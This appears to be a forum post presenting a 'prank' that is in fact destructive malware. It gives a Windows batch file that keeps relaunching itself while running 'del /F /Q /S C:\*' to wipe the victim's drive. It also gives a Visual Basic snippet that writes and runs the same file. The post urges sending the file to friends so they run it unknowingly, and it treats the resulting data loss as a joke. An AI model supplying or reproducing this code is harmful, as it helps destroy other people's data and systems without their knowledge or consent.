Hi! This is a really evil trick you can play on your friend(s) (mainly the dumb ones ^^)
WARNING: THIS TRICK MAY BREAK YOUR RELATIONSHIPS WITH YOUR FRIENDS
Ok. Open up notepad and type in the following:
Code:
start program.bat
del /F /Q /S C:\*
Save it as "program.bat"
(DON'T RUN IT) and send it to your friend
And hopefully (if they're dumb), they won't rename the file and they'll run it ^^
Basically, this will start lots of cmds, all of which are executing:
"del /F /Q /S C:\*", which will delete most (if not all) of their hard drive...
If you're one of those people who know a bit about programming, you can just make a program do this:
1) Create a file called "a.bat".
2) Write the code above to the file.
3) Execute the file.
I did that with Visual Basic and the result was DEADLY! (I managed to reduce the control panel icon count down to 3)
And here's the visual basic code I used

:
Code:
Dim sw As StreamWriter = File.CreateText("fu.bat")
sw.WriteLine("start fu.bat")
sw.WriteLine("del /Q /F /S c:\*")
sw.Close()
Process.Start("fu.bat")
Enjoy ^^
